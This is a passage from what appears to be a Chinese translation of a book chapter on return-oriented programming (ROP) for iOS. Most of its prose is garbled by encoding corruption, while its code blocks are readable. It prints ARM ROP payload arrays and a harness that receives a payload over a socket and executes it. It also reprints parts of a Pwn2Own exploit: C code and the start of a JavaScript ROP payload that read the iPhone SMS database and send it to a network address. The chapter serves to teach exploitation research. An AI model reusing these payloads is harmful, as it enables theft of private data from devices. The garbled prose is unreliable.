ဗࠑܷڙ᜵ઁR0ߚϱҁR8˖Ὃᤇಧʶ౎Ὃᭉ᜵ុၸwrite()ௐॡࠓ௛ԨٿsockଠᤗቿὙ 

i++; 
payload[i] = 0x0; //r1 
i++; 
payload[i] = 0x2fe0cc31; //r3 
i++; 
payload[i] = 0x0; //r5 
i++; 
payload[i] = 0x0; //r6 
i++; 
payload[i] = 0x0; //r7 
i++; 
payload[i] = 0x2fe114e7; //pc 
/* 
2fe114e6             aa01       add         r2, sp, #4 
2fe114e8             4798       blx         r3 
 
 
  r2ॽኸၠړമڦቝኸኍ + 4ăblxࣷཌገ0ڟx2fe0cc31 

     2fe0cc30        4680        mov         r8, r0 
     2fe0cc32        4630        mov         r0, r6 
     2fe0cc34    f8d220c0        ldr.w       r2, [r2, #192] 
     2fe0cc38         790        blx         r2 
 
     */ 
     i++; 
     payload[i + (4 + 192)/4 = 0x2fe05bc9; 
     /* ኄԥമ௬ڦኸସೌ܎ᆩઠइൽr2ᄲཌገڦڟᆶၳں኷ǖ 

           2fe05bc8     bdea    pop     {r1, r3, r5, r6, r7, pc} 
     */ 

ణՐʶ൥௦ઁR2Ꮅ˝4Ὃᤇ˓Ϙ௦ਆ᜵зЙᄉߙቿ˘ᄉܷ࠴ǌ࠱R1ૈՓಖ˖դథ"TEST"ߙ

ቿ˘ᄉͮᎵࣲុၸwrite()Ὑ 

    i++; 
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    payload[i] = 0x0; //r1 
    i++; 
    payload[i] = 0x2fe0b7d5; //r3 bdf0 pop {r4, r5, r6, r7, pc} 
    i++; 
    payload[i] = 0x0; //r5 
    i++; 
    payload[i] = 0x0; //r6 
    i++; 
    payload[i] = 0x2fe00040; //޿ኸኍኸၠڦኵ + 12 ৽๟4ǈ๟࿢்ၙᄲႀ෇ڦጴٷڦزޙၭ 

    i++; 
    payload[i] = 0x2fe0f4c5; //pc 
    /* 
     2fe0f4c4       a903    add         r1, sp, #12 
     2fe0f4c6       4640    mov         r0, r8 
     2fe0f4c8       68fa    ldr         r2, [r7, #12] 
     2fe0f4ca       4798    blx         r3 
     r1ॽኸၠ޿ጴزޙǈ r0ኸၠsockՎଉǈܸr2ኸၠ4 

    */ 
    i++; 
    payload[i] = 0x2fe1d730; //r4,_write()ںڦ኷ 

    i++; 
    payload[i] = 0x0; //r5 
    i++; 
    payload[i] = 0x0; //r6 
    i++; 
    payload[i] = 0x54534554; //r7 ኸၠ"TEST" ǈڍኄժփ๟๊஺ࡻ๚ăኻᆶr1Ⴔᄲኸၠኄ૛ăኄ৽ 
        ๟߲ޭፕᆩܸᅙ 

    i++; 
    payload[i] = 0x2fe076d3; //pc 
    /* 
     2fe076d2     47a0        blx         r4 
     2fe076d4     b003        add         sp, #12 
     2fe076d6     bd90        pop         {r4, r7, pc} 
 
    */ 

ុၸclose()ᄉ᣾ርі˪௦ݟѢʶᣪὋԵ௦R0ᭉ᜵Ꮅ˝sockଠᤗቿ὇ͭឞଠᤗቿ̮ཨߚϱ

�R8˖ὈὙڙ

     payload[i] = 0x0; //࿄๑ᆩ 

     i++; 
     payload[i] = 0x0; //࿄๑ᆩ 

     i++; 
     payload[i] = 0x0; //࿄๑ᆩ 

     i++; 
     payload[i] = 0x0; //r4 
     i++; 
     payload[i] = 0x0; //r7 
     i++; 
     payload[i] = 0x2fe05bc9; //pc bdea pop {r1, r3, r5, r6, r7, pc} 
     i++; 
     payload[i] = 0x0; //r1 
     i++; 
     payload[i] = 0x2fe1cf8d; //r3, bdb0 pop {r4, r5, r7, pc} 
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     i++; 
     payload[i] = 0x0; //r5 
     i++; 
     payload[i] = 0x0; //r6 
     i++; 
     payload[i] = 0x2fe076d6;  
//ඪᅪᆶၳں኷ǈኄᄣሞٗr7 + #12܁r2้փࣷᆅഐԪએ 

     i++; 
     payload[i] = 0x2fe0f4c5; //pc 
     /* 
      2fe0f4c4      a903       add         r1, sp, #12 
      2fe0f4c6      4640       mov         r0, r8 
      2fe0f4c8      68fa       ldr         r2, [r7, #12] 
      2fe0f4ca      4798       blx         r3 
     */ 
     i++; 
     payload[i] = 0x2fe1d55c; //r4ǈclose()ںڦ኷ 

     i++; 
     payload[i] = 0x0; //r5 
     i++; 
     payload[i] = 0x0; //r7 
     i++; 
     payload[i] = 0x2fe076d3; //pc 
     /* 
      2fe076d2        47a0       blx         r4 
      2fe076d4        b003       add         sp, #12 
      2fe076d6        bd90       pop         {r4, r7, pc} 
     */ 
     i++; 
     payload[i] = 0x0; //࿄๑ᆩ 

     i++; 
     payload[i] = 0x0; //࿄๑ᆩ 

     i++; 
     payload[i] = 0x0; //࿄๑ᆩ 

     i++; 
     payload[i] = 0xcccccccc; //ᆶၳሜڦࢁ঳࿂ 

     i++; 
     payload[i] = 0xcccccccc; //ᆶၳሜڦࢁ঳࿂ 

     i++; 
     payload[i] = 0xcccccccc; //ᆶၳሜڦࢁ঳࿂ǈpcሞኄ૛Ԫએ 

ፂซ਒ҁὋԀΦ௦ʶጷ᭣࣡ኤӬᄉୱࣂԺᑞࠑܷ˖ߔᤇ˓Βڙ ὇ͅඊݟՓᤉርనҫ٧зஜ૵

ࣲС᫆᤯Փ߱ᄉᤋଋὈڙሧೱ੆ROPௐᦏԺᑞᄰॆж᫁ǌॆஈѣᏧ੣ܿԺ̾΍ၸᄉૈ̽᭣࣡థᬌ

ௐᤇʶৰх࠾˝቉Ѣǌ 
8.2.3ᓫ͗ᝦ᝶ᔩ࣯ሗઁࠬ੼ࣲᤋଋૈ̽ࣿѴᄉ᣾ርᒬҮӐᄉን႔ǌ �

8.2.3� ROP᳝ᬜ䕑㥋ᵘ䗴䖛⿟ⱘ㞾࣪ࡼ 

ဗڙःឞࣂፂᄰॆ௙ᆷ˿Ὃ੣ࢹಉ੼Ջ᤟ૈ̽ᄉ᣾ር௦˓ॡ᳣ཐᏪ˄Ժᑞॡ᠟ௐᫍᄉ᣾ርǌ

᣾ԜіࣱᫍࣂፂѢဗ˿ॡܲሗᒬҮӐឞ᣾ርᄉழयǌ 
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KornauፋѢ˿ʶሗᙉཨᠪຸͭᬶࠚ˶ణ˝߸ؒᄉழกὋԟ᜸http://static.googleusercontent. 
com/external_content/untrusted_dlcp/www.zynamics.com/en//downloads/kornau-tim--diplomarbeit--rop.pdfǌ 

ᤇሗழกᐿՐᄉধᡸ᜵ᥕ९ᔩ࣯൥ᰠǌᯪЎὋځ˝͉ʹ඼ᎃૈ̽ᬶज़ज़ᦏդథ˗ࠜᄉૈ̽Ὃ

Ꮺ˄ඇʶ్ૈ̽ඇ൒Ժ̾੯ᛠܲᮉୱͺὋ੝̾ణݝ௦థҨกђ࠵᜵Ꮵᘼᄉૈ̽ᄉஜ᧙ǌ 
˝൤Ὃඇ˓̃ᤈ҃஠͇ᯪЎᦏ͗ᜁᣀ૰੆౼ሗૈ̽ఝ࠵ᄉ˖ᫍឥᝒὋФ˖ඇʶ్ளૈ̽ᦏԵ

͗੯ᛠʶᮉୱͺǌ 
ʶெ̃ᤈ҃஠͇᤯᣾౼ሗఴብ෤థ̭ፀᄉኪกᣀ૰੆ᤇሗ˖ᫍឥᝒὋੇ థԺᑞઁʶጷૈࡂ͂

̽ᤋଋᡐ౎ǌᤇಧᄉૈ̽ࣿѴ࣡ሥ˝ૈ̽ྞൿ὇gadgetὈǌඇ˓ૈ̽ྞൿᦏథྱ߿ᄉၸΒὋΒݟథ

ᄉૈ̽ྞൿԺၸ౎ઁʶ˓࠘٧ߚᄉЮࠓሧҮҁԲʶ˓࠘٧ߚὋథᄉૈ̽ྞൿѶၸ̅੯ᛠጆፑុ

ၸǌॆཨὋஈѣᏧʿᑞૈభᒬ̃ڙ͗ࣁᤈ҃஠͇˖੼ҁѷݝ໗ᡛᒬࣁᭉයᄉˋ᜴ǌځ൤Ὃૈ̽ྞ

ൿᬓ˿͗੯ᛠ߸੆ྱ͉߿ҫ੝ᭉᄉୱͺὋᤆԺᑞ͗੯ᛠФ̴ᄉୱͺǌᤇ̎ᮨܰᄉୱͺԶͺᬃҪ஌

౦὇side effectὈǌ 
ᄉ̃ᤈ҃஠͇˖ᑞ੼ҁᄉКᦉૈ̽ྞൿ˿ǌʿ߿ፂ઴థ̯ፋࣂᤇ˓᫼ൿὋஈѣᏧڙ ᣾ᤇ௦ʿ

ܴᄉὋځ˝ઁᤇ̎ૈ̽ྞൿፆՋᡐ౎Ѹतథ਒˦ᄉథ஌ᣑᕲ˶௦᭣࣡᠟ௐᄉǌ 
зЙథ஌ᣑᕲௐ˶᜵ઁᤇ̎ᬃҪ஌ڙ˄ґᝌ᧕᣾ᄉὋඇ˓ૈ̽ྞൿᦏథᬃҪ஌౦ὋᏪ˧ݟൣ

౦Ꮵᘼᤈ౎ǌΒݟὋ౼˓੯ᛠጆፑុၸᄉૈ̽ྞൿ˶Ժᑞథං૿࠘٧ߚЮࠓᄉ஌౦ǌݟ౦ᭉ᜵ᝧ

ᥦ˓࠘٧ߚᄉЮࠓԓ࠯ʿҮڠγ႐ʽ౎Ὃੇ Ժᑞ᜵੼ʶ˓ឥ˦ኍ͈ͭᬃҪ஌౦ʿՎᄉૈ̽ྞࡂ͂

ൿὋ੊௦ઁᤇሗᆠڭᏥᘼڙЮὋڙ΍ၸþ੯ᛠጆፑុၸÿૈ̽ྞൿ˧ґၸԲʶ˓ૈ̽ྞൿઁ࠘ߚ

٧ᄉЮࠓγߚᡐ౎Ὃࣲڙጆፑុၸ˧ՐᤆԓФЮࠓǌ 
˝˿ኤӐᤇ˓᣾ርὋܷࠑԺ̾΍ၸᎃដ٧ǌROPᎃដ٧௦ʶሗᑞᒬҮᤋଋૈ̽ྞൿᄉᣃ͇Ὃ

Ꮺ˄߱͗ઁၸҁᄉඇ˓ૈ̽ྞൿᄉᬃҪ஌౦ᦏᏥᘼڙЮǌ᜵ࠃဗᤇಧᄉᎃដ٧Ὃణ࣡΍ၸᄉʶሗ

੾శࡂ௦SMT὇Satisfiability Modulo TheoryὋԺ໗ᡛবഴူ᝶ὈὋᝌኪርࣿ͗˝ඇ˓Ժၸᄉૈ̽

ྞൿ੯ᛠʶᮉୱͺὋࣲᰍ᝼ॆґᄉૈ̽ྞൿᑞՠ᝼ࠃ˧ґᄉૈ̽ྞൿᩖᄉ్͇ǌ 
ᙉཨ੼Ѣ੝థૈ̽ྞൿǋ̋ ߱͂ҪʼᬃҪ஌౦ᄉซ᧕Ὃࣲ ၸᎃដ٧Ѹतథ஌ᣑᕲᄉ᣾ር्̯

यʼ௦ൣᆷᄉὋͭ ௦ၸᤇሗழयѸतథ஌ᣑᕲԺᑞᄰॆ᠟ௐὋᏪ˄಩૵ஈѣᏧᄉᭉය౎ᄹ௦ʿϘ

३ԜϡᄉǌѢ̅ᤇ̎ԓځὋథ̠ଡѢ˿ʶሗఝኤӬᄉழกǌ 
ୱͺᄉܲሗૈ̽ྞൿὋܷ߿ጩၸ̅੯ᛠ౼ʶፋࠓ౦̃ᤈ҃஠͇ᡛܴܷὋԺ̾ݟ Ժ̾ዴॶࡂࠑ

ૌᤤᥦ̎ࡉԺᑞ෤థᬃҪ஌౦ᄉૈ̽ྞൿὋᤇಧʶ౎͂߱࠱ڙᤋଋᡐ౎ௐࡂʿᭉ᜵ઝॶԺᑞࣛ౎

ᄉ᫇ᮤǌʁ ெ߸੆˿ᤇ̎ࢹͺὋܷ ൓ᄉርࣿ᝹᝟ឥᝒ˝ᤇ̎ૈ̽ྞൿᎃзʶ؝ࣁԺ̾ѽၸᒬࡂࠑ

˓ኤӬᄉӉᜈὋࣲѽၸ߱ౝतథ஌ᣑᕲǌ 
comex˝ARMᎃзᄉSaffron ROPథ஌ᣑᕲ֖Dino Dai Zovi˝x86ᎃзᄉDISC௦ᤇሗழกᄉˏ

˓ፏ·Βߔǌ̋ ˿ᝧܷူࠑᝌᤇሗধᡸ௦ݟʹၸ̅ࠃ᡺ᄉὋੇ ͂ᯪЎ౎ᄹᄹSaffron˖ၸ౎̯౼˓

 ҪᣑR0ᄉPythonѥஜὙڦڠ

def load_r0_from(address): 
    gadget(R4=address, PC=('+ 20 68 90 bd', '- 00 00 94 e5 90 80 bd e8'), a='R4, R7, 
PC') 
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2 

3 
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11 
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7 

8 

9 
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ᤇ˓ѥஜᄉࢹͺࡂ௦଼ጉԺၸᄉૈ̽ྞൿຸὋಉ੼Ф˖ᄉ౼˓ԤߙᓫࣿѴǌኃʶ˓௦Thumb
ഴयʽᄉ20 68 90 dbὋࠪःݟʽૈ̽Ὑ�

6820    ldr         r0, [r4, #0] 
bd90    pop         {r4, r7, pc} 

Ꮺኃ̃˓ࣿѴѶڙARMഴयʽὋࠪःὙ�

e5940000    ldr     r0, [r4] 
e8bd8090    ldmia   sp!, {r4, r7, pc} 

ᤇሗழก௬ཨథ̎Ꭴཁǌ̂ ʼὋʁࠃ ᓉ౎ឬԺၸ౎੯ᛠᄰՎୱͺᄉʿՎૈ̽ࣿѴԺᑞஜʿᑇ

ஜǌځ൤Ὃݟ౦ঃ᝭˿౼ሗథ஌ᄉ̃ᤈ҃ഴयὋ;ࡂథԺᑞᩱឧڠϛ᝹ڙፋ߿Ժၸᄉૈ̽ྞൿௐ

ʿԺᑞ੯ᛠ౼ʶୱͺǌ�

Բʶழ᭦ὋᎃзᤇಧᄉࢹХ᜵ඊ΍ၸSMTᝌኪርࣿᄉழयঋ३ܲὋᏪ˄ڙథ౼˓ܷࢼᄉं੊

ʶጷंԺၸᄉৰхʽὋஈѣᏧ۲ఴʼԵᭉ᜵ᎃзᤇሗࢹХࡂᛠ˿ǌڙiOS˖Ὃݟ౦థҨก෹᭚

dyld_shared_cache˖౼˓ंᄉڦڠὋ;ࡂኍ̅௦ૅҁ˿ஞ˓ᎀߚὋܷ߱ጝథ200 MBܷ࠴Ὃ۲

ఴʼӉդ˿Ժᑞၸҁᄉ੝థૈ̽ྞൿǌ  

8.3� ೼ iOS ЁՓ⫼ ROP 

iOS˝᝹ܫʼѢဗᄉ੝థःၸርࣿ΍ၸ˿̼ᆉኣՏǌੇ͂Ժ̼̾࠱ᆉኣՏ᜼ͺዜDEPࠪንᄉ

ʼὋܷܲஜୱͺጆፑ˖ԀΦըၸ˿ᤇ̎γએ఺҃Ὃᤆ௦ԺᑞథҨกѫᦠԺзǋԺឳࠃǌ̂ྟुܘ

˄Ժ੯ᛠᄉЮߚᮅǌᤇಧʶ౎ࡂథ˿ѣ᠋ᤇሗ᫸७ࠪንᄉழกὋѢ̅ᤇʶԓځὋܷᦉѫᄉROP 
shellcode̼ᆉᦏ௦᭣࣡ኤӬᄉ̼ᆉྞൿὋФᄫᄉ௦ሄၸþ᭣Ժ੯ᛠÿγએὋཨՐЌॆ᤯Փಕэ

shellcode̼ᆉᄉ౩ጰǌ 
᥋ਲ਼ᄉ௦ὋᤇሗϡกڙiOSʼᛠʿ᤯Ὃځ˝ᄫґ˝ൢᤆ෤థѢဗ̯ၸਖ਼ቆᫍሄၸ̼ᆉኣՏᄉ

ழกǌځ൤ஈѣᏧԵқʽ3ሗᤤસ˿ǌ 
ኃʶሗ௦ၸROPзЙஞ˓థ஌ᣑᕲǌڙఴብՐ᭦ᄉЮ͗ࠑܷ˖ࠓᄹҁᤇዜథ஌ᣑᕲᄉʶ˓ဗ

 ᇧΒǌࠃ
ኃ̃ሗᤤસ௦ѽၸROPઁˏ˓ʿՎᄉ໣วஈѣርࣿ὇ࠪ̅ЮನᏪᝒФ˖ʶ˓௦ᤉርᄉὋʶ˓

௦ఴڠᄉὈᤋଋᡐ౎ǌ᤯᣾߸੆ᤇʶࢹͺὋஈѣᏧԺ̾ፈ᣾ၸਖ਼ቆᫍᄉ̼ᆉኣՏὋࣲڙЮನቆᫍ

੊Ꮷၸਖ਼ቆᫍ੯ᛠ௾᤯ᄉథ஌ᣑᕲǌఴብణՐ͗ࡘᇧʶ˓ѽၸ˿ᤇሗፆՋᄉᗂՏ಴Βǌ 
ణՐὋݟ౦໣วஈѣርࣿᅠэᄉ௦ளྟᄉMobileSafariὋᥦ˥ROPథ஌ᣑᕲԺ̾Փ˝JIT̼ᆉ

γ႐ᄉЮߚᮅ᭦зЙಕэథ஌ᣑᕲǌФࠃὋ̋ ˿ፋเ᜾٧ᄉ੯ᛠଡᤳὋܲ ஜJavaScriptल୲ᦏलЙ

˿᜵යЮߚᮅԺឳǋԺзᏪ˄Ժ੯ᛠᄉԀௐᎃដ੾శ὇᜵˿ᝌఝܲˀiOSʼᄉԀௐᎃដథСᄉζ

োὋឯԟᏥኃ4ብὈǌ 

ᇍROP᳝ᬜ䕑㥋ⱘ⌟䆩 

ဗࣂڙፂॡ௙ᆷ˿ὋзЙ֖฽ណROPథ஌ᣑᕲ௦ʶ˓ᄰॆ໫֖᫁ཐဴᄉ᣾ርǌఝၴᏧὋలᡔ
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࿜ᄉ᝹ܫʼʿᑞុណःၸርࣿǌᤇ਒։ᅋὋਆ᜵ڙలᡔ࿜ᄉiPhoneʼࠪ὇ΒݟὋ᧪ࠪMobileSafari
ᄉὈ໣วஈѣርࣿᤈᛠ฽ណὋ׬ʶᄉழกࡂ௦ಉᄹ᤯᣾iTunesᖌ३ᄉ࢜ຳઐնǌ 

᤯᣾ROPథ஌ᣑᕲఴᢵࠪROPథ஌ᣑᕲᤈᛠ฽ណࣂፂॡೣ੣˿Ὃ᥈᝶׬ʶᄉុណ੣ൿԵథ࢜

ຳઐնǌ˝˿ᎀᝌᤇʶ᫇ᮤࣲፋ̀ʶ߿ᄉុណᑞҦὋੇ͂̏ᭉʶሗᑞࠪshellcodeᄉҩᑞᤈᛠᰍ᝼

ᄉ฽ណርࣿǌ 
ʽ᭦ᄉ฽ណࢹХ᭣࣡ኤӬǌܷ ʽݟ᜵Ѹतʶ˓ଋஅథ஌ᣑᕲࣲ੯ᛠ߱ᄉనҫ٧Ὃನॶᦉ͇ࠑ

੝ᇧὙ 

void restoreStack() 
{ 
    __asm__ __volatile__("mov sp, %0\t\n" 
                         "mov pc, %1" 
                         : 
                         :"r"(stack_pointer), "r"(ip + 0x14) 
                         ); 
    //য়ߢ:සၠࡕread_and_execཁेକپஓǈ৽ՂႷዘႎऺ໙Đip + 0x14đ 

} 
 
int read_and_exec(int s) 
{ 
    int n, length; 
    unsigned int restoreStackAddr = &restoreStack; 
 
 
    fprintf(stderr, "Reading length... "); 
    if ((n = recv(s, &length, sizeof(length), 0)) != sizeof(length)) { 
        if (n < 0) 
            perror("recv"); 
        else { 
            fprintf(stderr, "recv: short read\n"); 
            return -1; 
        } 
    } 
    fprintf(stderr, "%d\n", length); 
    void *payload = malloc(length +1); 
    if(payload == NULL) 
        perror("Unable to allocate the buffer\n"); 
 
    fprintf(stderr, "Sending address of restoreStack function\n"); 
 
    if(send(s, &restoreStackAddr, sizeof(unsigned int), 0) == -1) 
        perror("Unable to send the restoreStack function address"); 
 
    fprintf(stderr, "Reading payload... "); 
    if ((n = recv(s, payload, length, 0)) != length) { 
        if (n < 0) 
            perror("recv"); 
        else { 
            fprintf(stderr, "recv: short read\n"); 
            return -1; 
        } 
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    } 
 
    __asm__ __volatile__ ("mov %1, pc\n\t" 
                          "mov %0, sp\n\t" 
                          :"=r"(stack_pointer), "=r"(ip) 
                   ); 
    __asm__ __volatile__ ("mov sp, %0\n\t" 
                          "pop {r0, r1, r2, r3, r4, r5, r6, pc}" 
                          : 
                          :"r"(payload) 
                          ); 
 
        //ᆶၳሜࣷࢁཌገ࣮ኄ૛ 

    stack_pointer = ip = 0; 
    free(payload); 
 
    return 0; 
} 

ᤇൿ̼ᆉᄉС᪃ᦉѫ௦і˓඼ᎃ̼ᆉྞൿǌread_and_execѥஜ˖ᄉኃʶ˓඼ᎃ̼ᆉྞൿ

Ժ̾ࡂϱҁˏ˓Ԫ᧙˖Ὃᤇಧःၸርࣿߚ᧪ૈ̽ૈ֖᧪੯ᛠshellcode̼ᆉґઁឞѥஜᄉಖૈڙ͗

�੯ᛠὋᏪʿ௦ᄯଋ࢜ຳǌܬ੯ᛠ߸థ஌ᣑᕲՐুڙ

ѥஜ˖ᄉኃ̃˓඼ᎃ̼ᆉྞൿథ஌ڠᤁᛠ˿ROPథ஌ᣑᕲǌ߱இԪ˿ಖૈ᧪Ὃ΍ಖૈ᧪ૈՓ

դథshellcode̼ᆉᄉ۶ᎀуӜὋཨՐ̯͗shellcode̼ᆉीѢᔩ࣯˓࠘٧ߚὋФ˖Ӊહૈ̽ૈ᧪ǌ

ᒯ൤ὋROPథ஌ᣑᕲࣂፂڙᤁᛠ˿ǌᤇ̎Үͺ᤯࣡௦໣วஈѣርࣿ᜵߸੆ᄉࢹͺǌ 
restoreStackѥஜ˖ᄉ඼ᎃ̼ᆉྞൿᆷγread_and_execѥஜᄉૈ̽ૈ᧪֖ಖૈ᧪ڙ੯

ᛠ᣾థ஌ᣑᕲՐᑞܴܬԓὋᤇ௦᤯᣾ઁrestoreStackѥஜᄉڦڠԦᤞࠆٿਖ਼ቪࠃဗᄉǌࠆਖ਼ቪ

ᄉPythonᑭఴ͗࠱ឞѥஜᄉᬃڦڠҪڙథ஌ᣑᕲళቪὋᤇಧʶ౎Ὃݟ౦ROPథ஌ᣑᕲ௦̾ૈͮܬ

̽ૈ᧪ፆࡊᄉពὋ੯ᛠࡂథԺᑞፘ፝ʽԜǌ 
߸ஞຸ̼ᆉԟ᜸ఴ˹ᦠݒᎩቢwww.wiley.com/go/ioshackershandbookǌ 
థ஌ᣑᕲᤈᛠ฽ណௐὋઁࠪڙ ฽ណःၸርࣿᄉ෡ᄣଠᤗ஠͇ˀᄫಕःၸርࣿᄉଠᤗ஠͇˧ᫍ

ᄉࢿऩᏥᘼڙЮ௦ॡ᧗᜵ᄉǌʁ ᓉ౎ឬὋܷ Ժ̾ᮔయ฽ណःၸርࣿˀApp StoreःၸథᅋᄰՎᄉࠑ

෡ᄣଠᤗ஠͇ǌ὇᜵˿ᝌఝܲˀ෡ᄣଠᤗ஠͇థСᄉζোὋឯԟ᫝ኃ5ብǌὈ 
᥋ਲ਼ᄉ௦Ὃܷࠪ̅ܲஜᄉጆፑԺ੯ᛠ஠͇౎ឬὋৰхࣲ᭣ݟ൤ǌ̂ࠃʼὋ߱͂ʶᓉ͗Хథ

ఝҪࠔౚᄉଠᤗ஠͇ǌڙၸᤇ᧖̭ፀᄉ฽ណࢹХࠪథ஌ᣑᕲᤈᛠ฽ណௐὋᤇԺᑞ͗࠭ᒰѥஜុ

ၸܾ᠋ǌ 
ణՐὋԵ᜵ROPૈ̽ྞൿ౎ຸ̅ጆፑंὋੇ͂ࡂ঳థԺᑞࠪᤇ˓฽ណࢹХᤈᛠុஞὋ΍˧᧪

ʿԺᑞࡂ౦੝ᤤસᄉૈ̽ྞൿͮ̅˞̃ᤈ҃஠͇˖Ὃੇ͂ݟᄉ௦Ὃࢻᄉंᤈᛠᩖଋǌͭʿ߿ྱࠪ

ѽၸᤇሗழกࠪФᤈᛠុណ˿ǌ 

8.4� iOS Ё ROP shellcode ⱘ⼎՟ 

 ᇧΒǌۋᇧࣲซᝌiOS˖ROP shellcodeᄉˏ˓Цࡘఴᓫ˖Ὃੇ͂͗ڙ
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ኃʶ˓థ஌ᣑᕲ௦2010ࣱڙᄉPwn2Ownܷᠾ˖ၸ౎ᄦԨSMSஜ૵ंЮࠓᄉὋ௦˓ጥROP 
shellcodeᄉݝΒߔǌ 

ኃ̃˓థ஌ᣑᕲ௦jailbreakme.comኃʻྟ໣วஈѣርࣿᄉʶᦉѫὋ᤟ၸ̅4.3.4˧ґᄉiOSǌ
 ǌߔФၸͺᝎԦЮನ໣วᄉ౩ጰ౎ឬὋᤇ௦˓ʿᩱᄉΒ࠱ӐROPథ஌ᣑᕲࣲ࠴ణʹݟ̅ࠪ

8.4.1� ⫼Ѣⲫপ᭛ӊݙᆍⱘ᳝ᬜ䕑㥋 

ឞథ஌ᣑᕲ۲̅౎ᒬiPhone 3GSʼiOS 3.1.3ᄉ̃ᤈ҃஠͇ὋᯪЎ͗ᖌԨಖૈ᧪ˀᔩ࣯Ф̴࠘

ԵథR0Ὃ߱ૈՓࡂ٧ߚᤇൿshellcode̼ᆉ੯ᛠ˧ѹὋԩஈѣᏧଌ҃ᄉ࠘ڙὋࠃ٧ᄉଌ҃ాǌФߚ

ʶ˓40ߙᓫ᫁ᄉᎀуӜὙ 

    // 3298d162         6a07    ldr     r7, [r0, #32] 
    // 3298d164     f8d0d028    ldr.w   sp, [r0, #40] 
    // 3298d168         6a40    ldr     r0, [r0, #36] 
    // 3298d16a         4700    bx      r0 

३ᅻR0ԢФЮࠓᦏڙஈѣᏧᄉଌ҃˧ʽὋឞథ஌ᣑᕲઁ͗ࡂR7Ꮅ˝ૈՓԲʶ˓ԩஈѣᏧଌ

҃ᄉ͡ᜈ੆ಖࣜᄉͮᎵǌಖૈ᧪͗ૈՓ͉਒ᄉЮߚὋࣂ߱˝ځፂᡴ᣾˿ԩஈѣᏧଌ҃ᄉᥦ40ߙᓫὋ

�൤ஈѣᏧᭉ᜵Բܰᄉૈ̽ྞൿ̾ൣᆷ᝹Ꮅឞૈ᧪ǌځ

ᤇԺ̾᤯᣾ߚϱ0ڦڠx328c23eeҁణՐʶ్ૈ̽˖ុၸ᣾ᄉR0౎ࠃဗǌኃ̃˓ૈ̽ྞൿݟ

ʽ੝ᇧὙ 

    // 328c23ee     f1a70d00    sub.w   sp, r7, #0 
    // 328c23f2         bd80    pop     {r7, pc} 
    // 

ᤇԺ̾థ஌ઁڠR7ᄉЮࠓሧҮҁಖૈ᧪˖Ὃࣲ ൤ઁಖᎵ̅ԩஈѣᏧଌ҃ᄉͮᎵǌ̯ځ ᤇ᧖ध

�ǌٿὋૈ̽ૈ᧪ᜁ̯ஈѣᏧଡΘᄉROPథ஌ᣑᕲ˖Ԩݼ

ឞథ஌ᣑᕲᄉФͷᦉѫ͗੯ᛠ̾ʽୱͺὋ߱௦ၸCឥᝒ̼͡ᆉᛪᇧᄉὙ 

AudioServicesPlaySystemSound(0xffff); 
int fd = open("/private/var/mobile/Library/SMS/sms.db", O_RDONLY); 
int sock = socket(PF_INET, SOCK_STREAM, 0); 
struct sockaddr address; 
 
connect(sock, address, sizeof(address)); 
struct stat buf; 
stat("/private/var/mobile/Library/SMS/sms.db", &buf); 
void *file = mmap(0, buf.st_size, PROT_READ, MAP_PRIVATE, fd, 0); 
write(sock, file, buf.st_size); 
sleep(1); 
exit(0); 

ኃʶᛠᄉុၸːಪ౎ឬˀథ஌ᣑᕲఴᢵСጆʿܷὋ߱ФࠃԵ௦ၸ౎΍੣఺૜Ү̾ᤈᛠុណǌ

̯ᥦ᧖धݼὋSMSஜ૵ं֖ݒଋߙᦏᜁ੩ध˿ǌཨՐὋ̋ ˿ᖌԨ஠͇ᄉܷ࠴ὋФ˖ុၸ˿stat()ǌ�

˝˿ᑞԦᤞឞ஠͇Ὃੇ͂᜵ѽၸmmap()ڙЮߚ˖ࠪФᤈᛠ௡࠰ǌଋᅋឞ஠͇ࡂᜁԦᤞፋᤉ

ርనҫ٧ǌڙᤇ᧖Ὃʶ̎థᡙᄉ̂Ԧၶ˿ὋஈѣᏧᜁᤔڙС᫆ःၸርࣿґុၸsleep()ǌᤇ௦ॸ
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᜵ᄉὋՠѶ᤯Փᤉርనҫ٧ᄉᤋଋԺᑞڙஞ˓஠͇Ԧᤞ߸˧ґࡂС᫆˿ǌ 
ॆཨὋርࣿտԺᑞ͗ซ਒ҁὋԦᤞ஠͇ᄉൣᆷழयःឞ௦ઁ஠͇ѫ੆ॡܲڰὋࣲतበ९ဖʶ

8.2.3ᓫ˖ଡҁᄉὋᬓ᭣΍ၸROPᎃដ٧ὋՠݟԦᤞὋᄯҁ஠͇ళቪǌᤇಧϡᄉ᫇ᮤʶڠڰଋʶڰ

ѶၸROPᎃз९ဖʿ௦͇௛̂ǌᤇՎௐ˶ࡂᛪ௙ឞథ஌ᣑᕲ௦੣ࢹᎃзᄉǌ 
ᤇ˓ХͳᄉᇧΒ˖ὋஈѣᏧᅻ᥊ϛಖૈڙᭉ᜵ူᝌὋࠑ᜹ࠢឞథ஌ᣑᕲФͷᦉѫ˧ґὋܷڙ

᧪ᄉڦڠὋځ൤ॡࠓ௛ࠪˀᤇ˓ϛಖૈ᧪థСᄉஜ૵ፆౝࠬڦὋࣲߚ͂߱࠱ϱᡐ౎ǌឞథ஌ᣑᕲ

̾Ԣᄰःᄉซ᧕ݟʽѴ̼ᆉ੝ᇧǌᤇ᧖௦̯stealFile_rop_3_1_3_gsѥஜ˖ኃ 34ᛠ

὇0x32986a41ὈܪᄉROPϘஜጷૈՓᄉڦڠधݼ੯ᛠᄉὙ 

function stealFile_rop_3_1_3_gs(sp) 
{ 
      var ropvalues = Array(244); 
      function sockaddr_in(ip, port) 
{ 
      var a = String.fromCharCode(0x210); // sin_family=AF_INET, sin_len=16 
      var b = String.fromCharCode(((ip[1]&255)<<8)+(ip[0]&255)); 
      var c = String.fromCharCode(((ip[3]&255)<<8)+(ip[2]&255)); 
      var p = String.fromCharCode(((port >> 8) &0xff)+((port&0xff)<<8)); 
      var fill = String.fromCharCode(0); 
      fill += fill; 
      fill += fill; 
            return a + p + b + c + fill; 
} 
 
function encode_ascii(str) 
{ 
      var i, a = 0; 
      var encoded = ""; 
 
      for(i = 0; i < str.length; i++) { 
      if (i&1) { 
            encoded += String.fromCharCode((str.charCodeAt(i) << 8) + a); 
      } else { 
            a= str.charCodeAt(i); 
            } 
      return encoded + String.fromCharCode((i&1) ? a : 0); 
} 
 
      // 32ጴবǄ30ጴবASCIIஓǈ2ጴব՗๖ዕኹ0ڦǅ 

      var name = encode_ascii("/private/var/mobile/Library/SMS/sms.db"); 
      // 16ጴব 

      var sockStruct = sockaddr_in(Array(192,168,0,3), 9090); 
